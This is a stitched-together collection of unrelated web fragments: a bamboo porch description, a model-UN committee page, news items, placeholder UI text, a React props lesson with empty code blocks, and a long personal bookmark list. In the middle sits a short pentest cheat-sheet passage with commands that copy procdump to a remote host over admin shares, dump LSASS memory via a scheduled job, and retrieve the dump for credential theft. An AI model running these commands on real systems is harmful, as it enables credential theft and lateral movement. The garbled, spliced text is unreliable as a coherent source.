The porch is built between two courtyards, where is the entrance to the village. The walls can protect the structures from wind and rain. The frame is made up of bamboos which are reaped by the bamboo craftsmen. The bottoms of bamboos are fixed in the concrete bases and the tops are conjoined by iron wires. The workers and villagers built the porch according to the sketches of the designer in whole process, which draws the attentions of many villagers. The visitors who wore a bamboo hat finally left the hat on the porch.
The bamboo hat porch is a corporation of the government, the designers and the villagers, which cost no special funds and planned by DHURD, CAUPD and CADG. The whole process shows the conception of low cost, low consumption and community-building, which is a taste of micro intervention to change the village. By building such a small building, the villagers can communicate each other and love their hometown more and more.
After the construction, the road is much cleaner inside the porch, where people can be guarded against the sun and rain. The farmers go through the veranda day by day, while they have to slow down. At every festival and at New Year, there would be many red flags or red characters with good wishes on the structures. The material of the building is not durable. However, it doesn’t matter for the villagers can repair it when they have the time. So long as the happy life is in the village, and the exuberant bamboos are there, the small bamboo hat porch will exist there generation after generation.


Meet our directors
Click the links below to see the AMIMUN 2015 directors who will represent each of the AMIMUN organs:
UN General Assembly
Established in 1945 under the Charter of the United Nations, the General Assembly occupies a central position as the chief deliberative, policymaking and representative organ of the United Nations. Comprising all 193 Members of the United Nations, it provides a unique forum for multilateral discussion of the full spectrum of international issues covered by the Charter. It also plays a significant role in the process of standard-setting and the codification of international law. While the body brings together the countries of the world for debate and compromise, its every action is dictated by respect for national sovereignty- the right of each country to manage its own affairs without outside influence. It is a fundamental part of the any MUN because all members of the assembly have the opportunity to voice their concerns, convey their opinions, and directly participate in global decision-making.
"Prevention of an arms race in outer space with a focus on no first placement of weapons in outer space"
Chair: Dheer Bhatnagar
Vice Chair: Amlan Panda
Vice Chair: Urvashi Kapila
Rapporteur: Saptarishi Bakshi
A Letter from the board
AD HOC Crises Committee
Under the Charter, the Security Council has primary responsibility for the maintenance of international peace and security. It has 15 Members, and each Member has one vote. The Security Council takes the lead in determining the existence of a threat to the peace or act of aggression. The Security Council also recommends to the General Assembly the appointment of the Secretary-General and the admission of new Members to the United Nations. And, together with the General Assembly, it elects the judges of the International Court of Justice. Delegates which are a part of the security council in the AMIMUN will get a chance to get actively involved in the establishment of peacekeeping operations, the establishment of international sanctions, and the authorization of military action through Security Council resolutions
"The agenda for the Ad Hoc special crisis committee will be released at an appropriate time. The delegates will be personally handled by the Executive Board and any further communication will be done in secret"
President: Ramit Malhotra
Vice President: Rhea Yadav
Crisis Director: Tanvi Bhargava
A Letter from the Board
UN Human Rights Council
The Human Rights Council is an inter-governmental body within the United Nations system responsible for strengthening the promotion and protection of human rights around the globe and for addressing situations of human rights violations and make recommendations on them. It has the ability to discuss all thematic human rights issues and situations that require its attention throughout the year. It meets at the UN Office at Geneva. The Council is made up of 47 United Nations Member States which are elected by the UN General Assembly. The Human Rights Council replaced the former United Nations Commission on Human Rights. It will form an integral part of AMIMUN’15 as it will enable the working groups to monitor, examine, advice and publicly report on thematic issues or human rights situations in specific countries.
"HRC- Protection of refugees and IDPs with special emphasis on the situation in Middle East"
President: Sidharth Das
Vice President: Taufique Shoogufan
Rapporteur: Neel Duttaroy
A Letter from the Board
Economic and Social Council & Regional Bodies
ECOSOC, one of the six main organs of the United Nations established by the UN Charter in 1946, is the principal body for coordination, policy review, policy dialogue and recommendations on economic, social and environmental issues, as well as for implementation of the internationally agreed development goals. It is the United Nations’ central platform for reflection, debate, and innovative thinking on sustainable development. ECOSOC in AMIMUN’15 will be quite interesting as it will engage a wide variety of stakeholders – policymakers, parliamentarians, academics, major groups, foundations, business sector representatives and 3,200+ registered non-governmental organizations – in a productive dialogue on sustainable development through a programmatic cycle of meetings.
"Combating illicit production and trafficking of drugs in Asia."
President: Keshav Gupta
Vice President: Eklavya Malvai
Rapporteur: Sherya Gupta
A Letter from the Board
Ministry of Magic
The Ministry of Magic is the main governing body of the magical community with the intention of preservation of magic law. The Ministry succeeded the earlier Wizard’s Council. It was founded in or prior to 1629. In a never seen before format, the council will be actually convened as a government body of the wizarding world. For those of you who remember the books, you will recall that the actions of the Ministry of Magic ranged from noble but flawed to totally and utterly useless. Prospective delegates of the Ministry will be called upon to act quickly and efficiently. The future of the Ministry is up to you, witches and wizards. Brush up on your Harry Potter knowledge but keep in mind that this committee will certainly stray from canon. Wands at the ready!
"In light of the revelation of the return of He Who Must Not Be Named, the Minister for Magic, Rufus Scrimgeour and Chief Warlock of the Wizengamot and Supreme Mugwump, Albus Dumbledore call an emergency meeting. All those expected to represent their Ministry departments; organisations and opinions in this meeting will be contacted by owl. In these troubled times, we expect all who are called upon to pick the side of order and not chaos. It is not our abilities that show what we truly are. It is our choices."
Namita Rajesh
Taruni Kumar
A Letter from the Board
Games of Thrones
The Specialized Agencies (SA) is home to the most creative and imaginative committees of HMUN 2015. Traditionally, committees in the SA are smaller and more intense than those of the other organs. They require all delegates to respond quickly and decisively to crises, and allow each member of the committee to play a critical role in advancing his or her own interests, fashioning meaningful debate, and crafting effective responses to the crises faced by the committee. The SA committees together span a wide range of topics, time periods and regions of the globe, and individually move very quickly due to their small size and generally more experienced delegates.
"The Committee for the Game of Thrones is a crisis committee with the tentative timeline of 281 AC. The committee will be moderated by the Hand of the King and the Prince of Dragonstone."
Aamir Ahmed
Rajat Raj Handa
A Letter from the Board


New Zealand passes law aiming for net zero carbon emissions by 2050
WELLINGTON (Reuters) - New Zealand has placed itself on the right side of history in the battle against climate change, Prime Minister Jacinda Ardern said on Thursday, after lawmakers adopted a measure to cut carbon emissions to net zero by 2050.
Thursday’s framework enshrines in law the new 2050 greenhouse gas reduction target and makes it a legally binding objective to keep global warming below a rise of 1.5 degrees Celsius forecast by the United Nations.
“Today, we have made a choice that I am proud of,” Ardern told parliament. “I hope it means the next generation will see that we...were on the right side of history.”
The bill, spearheaded by her center-left Labour-led coalition government, was passed with cross party support from the main opposition National Party, despite changes promised by the latter if it wins the next election in 2020.
The bill accords different treatment to methane emissions from animals versus other greenhouse gases, but still targets a cut of 10% in biological methane by 2030, and up to 47% by 2050.
“This...is the centerpiece for meaningful climate change action in New Zealand,” said Minister for Climate Change James Shaw, the leader of the Green party, which is in coalition with Ardern’s Labour.
Lawmakers had received 11,000 submissions and heard from a cross-section of society, from students and scientists to farmers and activists, Shaw added.


All these automata have extremely simple rules of evaluation.
Although updates are made using clocked full-state update,
the model is compatible with asychnronous clockless autonomous state changes.
The most feasible for general computation. Reversible and information-conservative


One
Two
One
Two
One
Two
One
Two
Header
Header
Header
First
Cell
Cell
Cell
Cell
Cell
Cell
Cell
Cell
1
2
3
4
Rachel
Last seen watching
Arrested Development
just now.
Lindsay
Last seen watching
Bob's Burgers
10 hours ago.
Matthew
Last seen watching
The Godfather Part 2
yesterday.
Jenny Hess
Last seen watching
Twin Peaks
3 days ago.
Veronika Ossi
Has not watched anything recently


We have mices!
- architect impactful channels
- deploy intuitive e-business
- grow killer e-markets
- syndicate killer functionalities
- evolve clicks-and-mortar web services
- morph best-of-breed partnerships
- transform clicks-and-mortar schemas
- exploit customized web services
- brand customized bandwidth
- orchestrate interactive web services
- reintermediate proactive experiences
- enable proactive partnerships


Home
Lessons
Exercies
## React Props React has a way of passing props to and from components, these are called props. Let's first have a look at our `Card.js` component. Right now it is just being called and displayed via our return in the `App.js`. But let's say we wanted this card to be used for multiple people, right now we would have to make a different card component for each person. This is where props come in handy ``` JS
``` To ``` JS
``` and in our `Card.js` we will change : ``` JS export default function Card() { ``` To ``` JS export default function Card(props) { ``` and finally we will change ``` JS
...
Mary Sue
...
``` To ``` JS
...
{props.name}
...
``` You can read all about props [here](https://www.robinwieruch.de/react-pass-props-to-component/) and [here](https://www.agiliq.com/blog/2018/05/understanding-react-state-and-props/) --- ## React Props Part 2 Before moving on to the next section try and complete exercices 5 and 6. 1. [Exercice 5](/exercies/exercies-5.html) 1. [Exercice 6](/exercies/exercies-6.html)


Silliot Hill Recycling and Waste Facility closed for the coming week
by Rose B O'DonoghueKildare County Council (Environment Section) advise of Silliot Hill Recycling and Waste Facility temporary closure.
Silliot Hill Recycling and Waste Facility will be closed all of next week (from Monday 25 to Saturday, 30 November) for necessary site improvements.
Kildare Councill will open Gallows Hill in Athy from Monday to Saturday next week to ensure people have somewhere to recycle and dispose of waste.
Silliot Hill will reopen on Monday, 2 December next.


Mindtree CFO Pradip Menon quits
by Shilpa PhadnisHighlights
- Menon joined Mindtree after his predecessor Jagannathan Chakravarthi quit
- He was part of the core team that oversaw the transition after L&T acquired 60.6% stake in Mindtree
BENGALURU: Mindtree senior vice-president and CFO Pradip Menon has resigned from the firm after spending about 13 months with the firm. Menon joined Mindtree from AkzoNobel India. Prior to that he worked for over 20 years with Unilever in multiple roles in India, Singapore, Dubai and Switzerland.
Menon joined Mindtree after his predecessor Jagannathan Chakravarthi quit. Menon was part of the core team that oversaw the transition after L&T acquired 60.6% stake in Mindtree.
When TOI contacted Mindtree, the firm said it does not have any comments to offer. Menon put in his papers a month and a half ago.
The speculation is that someone from the L&T Group will replace him.


Rich Mason
On July 15 2019 the UK porn block will come into effect, requiring all users to register and prove they are aged 18 or older. This project is a call to action to all users of the internet – to warn of the risks to privacy and freedom of use, and to guide them to finding more information and discussions. The digital publication is available for download from the Internet Archive and can also be bought as a print-on-demand book from Blurb.com. A screencast of the digital edition can be viewed on YouTubeThe interactive media included in the publication can also be downloaded from GitHub.


What better method for persistence than keylogging and reusing valid credentials?
Note: You have to be SYSTEM to get into winlogon for the user.
For dumping passwords, see Tools > Password Related > Dumpers or other various pages. Here are some quick references
WCE and Mimikatz
wdigest (your AD password)
kerberos (your LM / NTLM hash)
ssp (your Outlook password)
livessp (your windows 8 password)
msv (your AD password)
tspkg (your AD password)
If you can't do either of those, you can process dump and gather passwords from memory manually using procdump
net use \\targetserver \user:DOM\user pass
copy procdump.exe \\targetserver\c$
copy procdump.bat \\targetserver\c$
procdump.exe -ma lsass %CNAME%.dmp
at \\targetserver 13:37 C:\procdump.bat
copy \\targetserver\c$\targetserver.dmp


7 ways to learn effectively with Hajinsky Academy
15.08.2020
How to improve e-learning system
15.08.2020
How to improve e-learning system
15.08.2020
How to improve e-learning system
15.08.2020
How to improve e-learning system
15.08.2020
How to improve e-learning system
15.08.2020
How to improve e-learning system
15.08.2020
How to improve e-learning system
15.08.2020
How to improve e-learning system
15.08.2020
Daha cox


My Link Log
A collection of links that are worth sharing
First published: 9/11/19
Last updated: 26/03/23
A while back, I created a
bookmark classification
utility. Bookmarks have always been an integral part of my web-surfing
experience and through this post, I intend to share some of my favorite
bookmarks. This list will be updated in the future. If you find any link
to be dead, try inserting https://web.archive.org/
ahead of
the URL.
-
Speech and Language Processing (3rd ed. draft): An excellent book dealing with computational linguistics written by
Dan Jurafsky and James Martin.
-
Things You Should Never Do, Part I: Joel Spolsky talks about how one should rewrite code in an
organization.
-
Minichess:
Contains a lot of minichess variants. Creating one is a great way to
learn to program.
-
Seat 61: A train enthusiast
sharing his various rail experiences from around the globe.
-
How to speak: In Prof. Patrick Winston's own words -
The talk helps people do a better job in lectures, theses defenses,
and job talks.
If you like the talk, I highly recommend you to check out his
6.034 - Introduction to AI
course along with his
home and
favorites
page.
-
Two-bit history: I love
reading about the history of computers, programming languages, and
software. This is an excellent blog to read about such stuff. The
author discusses topics like Version Control, Semantic Web, Relational
Model, RSS feeds, and much more.
-
List of Turing Lectures: My favorite is Ken Thompson's
Reflections on trusting trust, 83.
-
What overlooked class of tools should a self-taught programmer look
into: An intuitive HN discussion about CS tools one should explore.
-
You (probably) don’t need ReCAPTCHA: If you are running a small enterprise/project, you can refer to
this blog for alternatives to Google's ReCaptcha.
-
HTTP Security Headers - A Complete Guide: A handy reference!
-
On Chomsky and the Two Cultures of Statistical Learning: Written by Peter Norvig, this debate has fascinated me for the past
month. To see things from a different perspective, I highly recommend
reading
The Norvig - Chomsky debate
and
Norvig vs. Chomsky and the Fight for the Future of AI.
-
Talking about Peter Norvig, I thoroughly enjoyed reading the following
three essays of his:
Teach Yourself Programming in Ten Years,
How to Write a Spelling Corrector, and
Solving Every Sudoku Puzzle.
-
Bug in Mars Pathfinder mission's rover: An experience worth sharing in every Operating Systems class.
-
The Chinese Room Argument: A follow-up would be to refer to an
HN discussion
regarding what does it mean for a machine to "understand"?
-
List of Advanced Data Structures: A great resource from Stanford's CS166.
-
When not to use a regex: How powerful can simplicity be? As a beginner, this was an
eye-opener.
-
Two of George Orwell's finest works:
1984
(another link) and
Animal Farm, are in Public Domain in Australia and Canada respectively.
-
Surprisingly popular: A decision-making concept worth exploring.
-
Teach Yourself Computer Science: I particularly like the reference materials recommended in the
link.
-
What are some useful computer-related technical skills I can learn
within a day?: This link contradicts what
Peter Norvig said in his essay. Nevertheless, as a beginner, this Quora post helped me dig deeper
into many different concepts.
-
Case Studies from MIT Sloan: I really enjoyed
Sony's Battle for Video Game Supremacy.
-
History of Undecidability: A series of videos from
Computerphile
with Prof. Brailsford explaining various undecidable problems
throughout mankind's journey, ending with Turing's Undecidable
Problem.
-
Tetris: Tetris game
being analyzed in depth.
-
How Shazam works: The explanation here is in-depth. The article speculates working as
described in
Shazam's original paper.
-
Why explore space? : A beautifully worded letter written by Ernst Stuhlinger explaining
the importance of space exploration. His letter tries to justify why
space-research is critical to any country's growth.
-
The economics of Robinson Crusoe:
A great article dealing with financial independence.
-
Cambridge in Colour:
Fascinating photography-based resources.
-
Software Engineering SE,
Security SE, and
Mathematics SE: All of these StackExchange sites have top questions worth
exploring!
-
Lecture Notes - Computer Networks: While I strongly prefer the textbook
Computer Networks: A Top-Down Approach, the lecture notes compiled here are a handy reference. For a quick
introduction to Computer Networks, the essays:
How Does the Internet Work?
and
A broad intro to networking
is a good starting point.
-
The Website Obesity Crisis
and
Legends of the Ancient Web: Two talks given by Maciej Ceglowski. The former counters the trend
of increasing web-page sizes and bloatware. The latter describes the
history of radio and how it went on to be used as a propaganda tool,
drawing a parallel between the emergence of the Internet and radio.
Dan Luu's
Web bloat complements the
first talk.
-
Designing Windows 95’s User Interface: This article details the methodology behind designing Windows 95's
UI/UX and the birth of Windows' start button, taskbar, help window,
and printer wizard.
-
Modern SAT solvers: fast, neat and underused (part 3 of N)
and
SAT Solving -- The Basics: Two intuitive blog-posts detailing modern SAT solver's working
(DPLL, clause learning, and two watch literals).
-
You and Your Research: A thought-provoking talk given by Richard Hamming. It encourages
you to be an outlier.
-
Epigrams on Programming: Curated by Alan Perlis, an epigram is
a remark expressing an idea in a clever and amusing way. My
favorite is:
Fools ignore complexity. Pragmatists suffer it. Some can avoid it.
Geniuses remove it.
-
Why I Keep a Research Blog: This blog-post resonates with my motive for maintaining a blog.
Technical writing and teaching can help bring clarity to our thoughts
and ideas.
-
Some Useful Probability Facts for Systems Programming: As the author describes it -
a bunch of rough-and-ready probability rules of thumb that are
deeply related and have many practical applications when designing
systems.
-
A brief history of CSS until 2016: I read this while playing Mozart, loved it! It describes the making
of CSS, the impact it had on web-browsers, and the evolution of
web-fonts.
-
The Last Question: A short story by Isaac Asimov. Beautifully crafted, this short
story perfectly complements 2001: A Space Odyssey.
-
Page Weight Matters: Authored by Chris Zacharias, this blog-post explains how reducing
page weight opened a whole new door for Youtube. It complements the
views presented by Maciej Ceglowski and Dan Luu.
-
How much land does a man need?: Mahatma Gandhi once said -
We have sufficient for everybody's needs, not for greed. Gandhi
revered Leo Tolstoy and this short story from Tolstoy perfectly
captures the essence of the quote above. It is simple yet powerful.
-
George Orwell's Reviews and Profiles: A hidden jewel! George Orwell cogently expresses his thoughts on
many luminaries of our time like - Dickens, Gandhi, and Tolstoy.
-
I, Pencil: This
essay by Leonard Read describes the manufacturing process a pencil has
to undertake. The first person narrative is captivating.
-
One Man's View of Computer Science: Richard Hamming's 1968 Turing Lecture emphasizes the engineering
aspect of Computer Science, and discusses the importance of
mathematics and ethics in the field. Furthermore, his book -
The Art of Doing Science and Engineering
- contains fascinating chapters (3-5) on the history of computers. He
taught a
capstone course
regarding the same for graduate students at NPS, Monterey, California.
-
6.005: Software Construction: Taught in spring 2016, this MIT OCW course contains thorough
readings on Software Engineering topics such as testing, code review,
debugging, and specifications.
-
Applying to Ph.D. Programs in Computer Science: A well-detailed guide for undergraduates applying to various
graduate programs. In this paper, Prof. Mor Harchol-Balter expresses
how most professors review the applications and what factors can make
an application stand out. After drafting my Statement of Purpose, the
self-review process
mentioned by the Online Writing Lab at Purdue University was
particularly helpful.
-
How I Learned To Stop Worrying And Debug Other People's Code: While seeking answers for a fundamental question -
How to explore large open-source codebases? - I came across
this thought-provoking blog-post. This post was a major inspiration
for the MLH OSS Guide.
-
Mining of Massive Datasets:
Co-authored by Jure Leskovec, Anand Rajaraman, and Jeff Ullman
(Stanford). I regard this as the most concise textbook on Big Data
Analysis. Moreover, the authors taught an
online course
complementing the topics mentioned in this book.
-
Letter to the Patent Office From Professor Donald Knuth: A fascinating letter written by Donald Knuth to the Patent
Commissioner objecting to the policy of granting software patents.
-
How to Read a Paper: I have found the three-pass approach particularly helpful.
-
The Missing Semester of Your CS Education: Formal undergraduate education is usually devoid of many helpful
topics such as using version control, working with a command-line
environment, shell scripting, debugging, and profilers. This course by
MIT (student-run classes) makes a commendable effort to fill in these
voids.
-
The Math behind Neural Networks - Backpropagation: A step-by-step guide deriving backpropagation equations for a
3-layer feed-forward neural network architecture.
-
How 0-based indexing was born?: Contains explanation from Martin Richards (creator of BCPL) on the
use of 0-based indexing in BCPL, its transition to C, and describes
its necessity in an era of IBM computers.
-
Math For Programmers: This intriguing blog-post motivates a "surveying" based approach to
learning mathematics for programmers. Furthermore, one of the books
the author mentions about - Discrete Mathematics and Applications by
Kenneth Rosen - is one of the finest textbooks I have read during my
CS undergraduate.
-
Cormen’s Rules of Usage: Prof. Thomas Cormen (Co-author of CLRS) used to give a
graduate-level talk at Dartmouth on academic writing. This paper
provides a list of 39 such rules to improve the readability of an
academic text.
-
What's your favorite elegant/beautiful algorithm?: A Hacker News gem which inspires everyone to explore fascinating
topics such as BitTorrent, Anagram matching, magic squares, Stable
Marriage problem, watch literals (which I have mentioned above in an
eariler point) and many many more.
-
If ... then ... else had to be invented!: Takes readers on a fascinating adventure revolving around the
formation of "else if" statements, starting with Eniac, crossing
Whirlwind, Fortran, COBOL, and ending with Algol 60.
-
On holy wars and a plea for peace: In Gulliver's Travels, certain subjects of Lilliput rebelled
against the king and broke their eggs at the big end (Big-Endians).
While the others did so from the little end (Little-Endians). In this
paper, Danny Cohen takes inspiration from Jonathan Swift and
introduces
big and little endianness
to computer science.
-
How tail call optimization works: From this blog-post - "Tail call optimization happens when the
compiler transforms a
call
immediately followed by a
ret
into a single jmp
". This blog-post
details about tail call optimization using call, ret, and jmp
statements.
-
Why C language decided to start counting arrays from zero: Mike Hoye describes how Dr. Martin Richards (creator of BCPL) made
this decision and how it transcended down to its successor - C.
Furthermore, he describes a funny anecdote involving time sharing
systems, processor cycles, MIT, the President of IBM, and yatches.
-
The Untold Story of Silk Road, Part 1
(Part 2): A
breathtaking story involving Ross Ulbricht's silk road and the FBI.
-
Deterministic Debugging with rr: Discusses record-and-replay debugging (also known as time-travel
debugging) using Mozilla's rr tool which records all of the
nondeterministic parts such as signals, file system interactions,
context switches, etc. Interestingly, Michael Chastain had
developed a similar tool (mec-replay) in 1995.
-
Gustav Kirchhoff's paper describing current and voltage laws: As mentioned in Donald Knuth's TAOCP (volume 1), Gustav Kirchhoff
was the first to use free trees to find a set of fundamental cycles in
an electrical network and this paper contains the earliest references
of trees. In 1972, W. W. Bartley III published a paper on
Lewis Carroll's lost book on logic, which contained the Method of Trees - the earliest use of
truth trees to prove or refute a logical formula.
-
Bradman and the value of a start: This Reddit post sheds more light into Don Bradman's batting style
by comparing his starts to some of the other legendary batsmen.
-
A Good Part-of-Speech Tagger in about 200 Lines of Python: In 2013, Matthew Honnibal challenged NLTK's then POS tagger by
constructing a leaner and more accurate tagger using an Averaged
Perceptron. Intriguingly, in 2015, NLTK changed their default
implementation to the one detailed in this blog-post.
-
Mikhail Chigorin v James Mortimer (Paris 1900): With an absolutely bonkers opening, this obscure chess game is one
of my favorites.
-
The secret rules of the Internet: Buni and Chemaly discusses how moderation policies have
historically been shaped and regulated by the Internet giants. For
further reading, Prof. Paul Barrett's
Who Moderates the Social Media Giants?
is a compelling read.
-
The Fortran 1 compiler: Driven by a need to produce efficient object code, some fascinating
optimization techniques it discusses are symbolic registers (for
intermediate form of code), operator precedence, dead-code
elimination, loop optimizations, and control-flow graph creation
followed by a Monte Carlo-based register allocation.
-
Seven insights into Queueing Theory: This essay explains how the response time (service time + wait
time) and utilization can be used to infer service center's load using
queueing theory principles.
-
How recursion got into programming: a tale of intrigue, betrayal,
and advanced programming-language semantics: It describes how recursion got into Algol 60 and the contributions
of Peter Naur, F.L. Bauer, Edsger Dijkstra, and A. van Wijngaarden.
-
Contextual Word Representations: A Contextual Introduction: Provides an intuitive understanding of word embeddings.
-
Light Years Ahead - The 1969 Apollo Guidance Computer: A computer which weighed 32 kgs and had 55 watts of power
consumption, 5600 3-input NOR gates, 4 KB RAM, and 72 KB ROM helped
mankind reach the moon. In this video, Robert Wills articulates the
software engineering principles used for the Apollo Guidance Computer
and narrates the breathtaking 1201 and 1202 program alarms encountered
by Neil Armstrong and Buzz Aldrin minutes before the lunar touchdown.
 He discusses topics such as ubiquity of air
travel, transition of railroads to rail freight transportation, leap
from coal to renewable energy, realism in movies, women empowerment,
skyscrappers, attempts at birth control, and the continuity of the
war-peace cycle. My favorite quote from the essay is -
mankind never tears anything down completely to build up something
else; it erects the new while retaining the old.
-
How to Generate Random Colors Programmatically: I love aesthetically pleasing color schemes. In this blog-post,
Martin Leitner-Ankerl describes how we can map colors from RGB space
to HSV space and use the golden ratio to create a diverse color scheme
across the whole color spectrum. I've created a
Python library (okcolor)
following his technique..
-
A Face Is Exposed for AOL Searcher No. 4417749: An interesting story I came across in my Privacy class. In 2006,
AOL had released around 20M search queries from 650k users with the
goal of allowing researchers to understand search patterns. For
privacy reasons, they had anonymized the records by removing user
identifiers. However, NYT was successfully able to de-anonymize user
with ID 4417749 using their search queries. The end result was a class
action lawsuit being filed against AOL.
-
The Designer's Notebook: How to Write Sports Commentary: I've always been fascinated by the idea of automatically generating
realistic sports commentaries. In this post, Ernest Adams describes
his experience doing the same at Electronic Arts for the Madden line
of American football games. Its interesting to hear the nuances that
come into play - like when to use action-by-action commentary and when
to introduce color commentary.
-
Richard Hipp speaks out on SQLite: The creator of SQLite discusses the complexity of SQLite's
codebase, how it is more than a key-value store, how SQLite got
inspired by FAA's DO-178B testing guidelines, and how fuzzy testing
has improved their code quality. My favorite part is when he describes
how testing the machine level such that every branch instruction has
been taken at least once has helped his team iterate faster.
-
The Exceptional Beauty of Doom 3's Source Code : This link discusses the quality of doom 3's source code and how
they achieved it. If you scroll down to the bottom, there is a comment
from John Carmack. The fun parts are - “Unified Parsing and Lexical
Analysis” and “Minimal Templates”. In the latter, the author discusses
how the creators re-wrote all necessary STL functions!
-
Game Engine Black Book Wolfenstein 3D: As I understand, Wolf3D was one of the earliest examples of ray
casting in games. This book by Fabien Sanglard dives into the source
code of Wolf3D and explains how ray casting was used (start at section
4.7).
-
Allegory, Realism, and Vermeer's use of the camera obscura: I came across this paper in my Computer Graphics class. Philip
Steadman describes how Johannes Vermeer used a
camera obscura
to bring about his magnificent attention to detail. If this was indeed
the case, it makes one wonder just how difficult it must have been for
Vermeer to trace and paint directly onto the canvases without making
mistakes. My favorite part in the paper is when Steadman describes the
glass orb in “The Allegory of Faith” which allegedly provides a small
glimpse of the camera obscura.
-
Four decades of computer graphics : Another paper I came across in my Computer Graphics class. It
describes the developments in Computer Graphics from the 60s to 90s
and foreshadows key future developments like VR. Its fascinating that
the Whirlwind project in 60s had a
quarter of an acre of electronics and used light pens to
display information. The 80s certainly seemed like a fun decade for CG
- CAD/CAM being used in engineering design, better software for
businesses and graphics art, the emergence of devices such as the
mouse, sensor gloves, and color printers, and improved standards in
the graphics community.
-
Special Effects for Star Trek II (The Genesis Demo): Yet another paper I came across in my Computer Graphics class.
Written by Alvy Ray Smith, this paper describes how the Wrath of Khan
became the first feature film to contain a sequence created entirely
with computer graphics, and how an incredible team at LucasFilms
carried forward this task. It is fascinating to see how they were
pushing the boundaries in 1982 - aiming to have no antialiasing, using
fractal techniques to reduce the need to manually enter the data,
creating innovative camera movements using n-dimensional cubic
splines, and designing a texture mapper for spheres. Fun fact, towards
the end of the paper, Ray Smith mentions the word Pixar, which
he describes as a machine being created by LucasFilms to increase the
speed of computing of the frames by 2x to 3x magnitude!
-
Lightmap: A neat
data-structure which is used to cache surface lighting information
that can be multiplied with a diffuse texture map when needed.
-
Manuel Blum's advice to a beginning graduate student : The closest to my heart is his advice on the power of writing. He
mentions how
the only difference between a FA (finite automaton) and a TM
(Turing machine) is that the TM, unlike the FA, has paper and
pencil.
So without writing, we are all reduced to a finite automaton!
-
How training puzzles are generated: James Clarke discusses how Lichess.org heuristically automates the
process of generating their mate-in-N and material advantage puzzles.
-
Why Philosophers Should Care About Computational Complexity: Parts of this paper by Scott Aaronson (like section 4.3 -
can humans solve NP-complete problems efficiently? ) makes you
wonder what problems in real-life are philosophically NP.
-
Graveyard hashing: Tombstones have been
used in linear-probing hash-tables
as a marker to suggest that an item was on an index but has been
deleted since. However, it is known that
primary clustering
can occur with such a strategy. In their
2021 paper, Michael
Bender, Bradley Kuszmaul, and William Kuszmaul discusses a variant of
linear-probing called graveyard hashing that eliminates primary
clustering (under certain conditions). This in-turn improves data
locality. Their strategy involves
"artificially increasing the number of tombstones placed in an
array until they occupy about half the free spots. These tombstones
then reserve spaces that can be used for future insertions."
-
Jason Rahman's blog: Delayed Branch: During my internship at Facebook, Jason's code reviews were
incredibly informative - they were mostly about optimizations in C++
which can improve performance.
Software Performance: Generic Tricks
discusses how avoiding copies, reformulating common operations like
idiv, restricting the use of shared pointers, and explicitly providing
a branch's likelihood can improve performance.
Software Performance: System Optimizations
goes into some specifics on what FB's storage team is doing for
optimizations - avoiding system calls in hot data path and minimizing
system calls behind abstraction layers (the example of doing async
logging using MPSC queue is interesting!), thread pinning, using
polling instead of interrupts (io_uring) or routing interrupts to a
small set of non-data path cores, and using huge pages to lower TLB
misses.
-
The APL Programming Language Source Code: It amazes me how I never heard about APL till now. The idea of
functions executing everything on the right seems natural. Each
function in APL is either a monadic (one argument) or a dyadic (two
arguments). They don't have any formal loops and rely on the iota
function (⍳) for looping. The link contains a mind-bending APL program
to compute prime numbers upto R - (~T∊T∘.×T)/T←1↓⍳R
-
When Splines Were Physical Objects : Describes how splines were drawn before CAD came into the picture.
-
Cache-oblivious Mesh Layouts: Yet another paper I came across in my Computer Graphics class. It
is about designing algorithms to construct cache-oblivious layouts of
polygonal meshes. Cache-oblivious layouts are different from
cache-aware layouts as they do not consider the cache parameters. It
was interesting to see that the number of cache misses at runtime can
be computed using the edge span distribution (based on the runtime
access pattern) and the cache miss ratio function, and that a local
permutation can help find an optimal edge span distribution. I also
enjoyed the part of the paper where they used Multilevel minimization
to approximate an NP-hard problem of finding all the local
permutations. If the paper appears dense, I recommend
checking out the slides from their SIGGRAPH talk.
-
Borůvka's algorithm : A surprisingly simple and beautiful minimum spanning tree
algorithm, which should be taught in every algorithms class -
alongside Prim's and Krushkal's algorithms. It was designed by Otakar
Borůvka in 1926 to construct an electrical network connecting several
cities using the least amount of wire. This algorithm is described in
great detail by
Jeff Erickson.
-
Twenty questions: A 19th century rule-book that describes the format of a game called
twenty questions. It introduces the concept of umpires (who resolve any dispute) and
captains (an official spokesperson). Interestingly, their version did
not have a constrain on the type of guess word. However, every Sunday
it was mandatory for the participants to pick an object, person, or
thing mentioned in the Bible.
-
Persistent Homology: An Introduction and a New Text Representation
for Natural Language Processing: This short paper from Xiaojin Zhu is a great way to explore Group
Theory, Simplicial Homology, Persistent Homology, and apply their
basic principles to solve a fun NLP problem - classifying an author's
age (into child, adolescent, or adult) based on their writing style.
-
Reconstructing Turing's "Paper Machine": This article from ChessBase describes a chess algorithm written by
Alan Turing and David Champernowne in 1948. To the best of my
knowledge, it is the oldest existing chess algorithm. It introduces
the notion of quiescence search ("Captures had to be followed up at
least to the point where no further capture was immediately possible.
Check and forcing moves had to be followed further.") and game trees -
for chess. Remarkably, their relative values for chess pieces were
quite similar to the ones later discussed by I. A. Horowitz (in 1951)
and Bobby Fisher (in 1972). Their evaluation function also took king
safety, piece mobility, piece safety, castling, pawn advancement, and
mates/checks into consideration. The 2-ply variant seems to have a
Lichess rating of 1600 (for blitz and rapid games).
-
The topologist's world map: A unique way to describe a world map that is topologically
equivalent to a normal map.
-
Regulating Data: Regulating tech monopolies has always been a contentious issue. The
vast amount of personal data that these companies possess about their
users has raised concerns about privacy and security, leading to
discussions around regulation. The traditional anti-trust remedies
involve breaking up their businesses, which is certainly less
desirable from a consumer experience perspective. This blog post from
Raghuram Rajan suggests that users should instead own the data they
generate, and that this data should be stored by a decentralized
entity that is independent of the firms that use the data. Aggregated
user data can then be partitioned into different buckets (such as
advertising and academic research), which can, in turn, be exchanged
with different businesses in exchange for their services. While this
idea is certainly not new, I like the concise nature of his blog post
and how he uses the Unified Payments Interface (UPI) as an example to
strengthen his argument.
-
Guide to making a CHIP-8 emulator: Walk before you can run is an old idiom that applies to many
things in life. Suprisingly enough, it also applies to coding
emulators. CHIP-8 is one of the simplest emulators to program, with
just a handful of instructions. And it is often used as a stepping
stone to building more complex emulators, such as NES. This blog post
from Tobias Langhoff, along with a
technical reference guide
from Thomas Greene, is a great way to get started with CHIP-8.
-
Contextual Word Representations: A Contextual Introduction: This article by Noah Smith provides a nice introduction to word
embeddings.
-
Encounter with the Woz: In
this fun story, the author describes a meeting with Steve Wozniak back
in 2006 at a Barnes & Noble. It turns out that Wozniak once pulled a
prank during the 70s by creating a fake advertisement for Zaltair, a
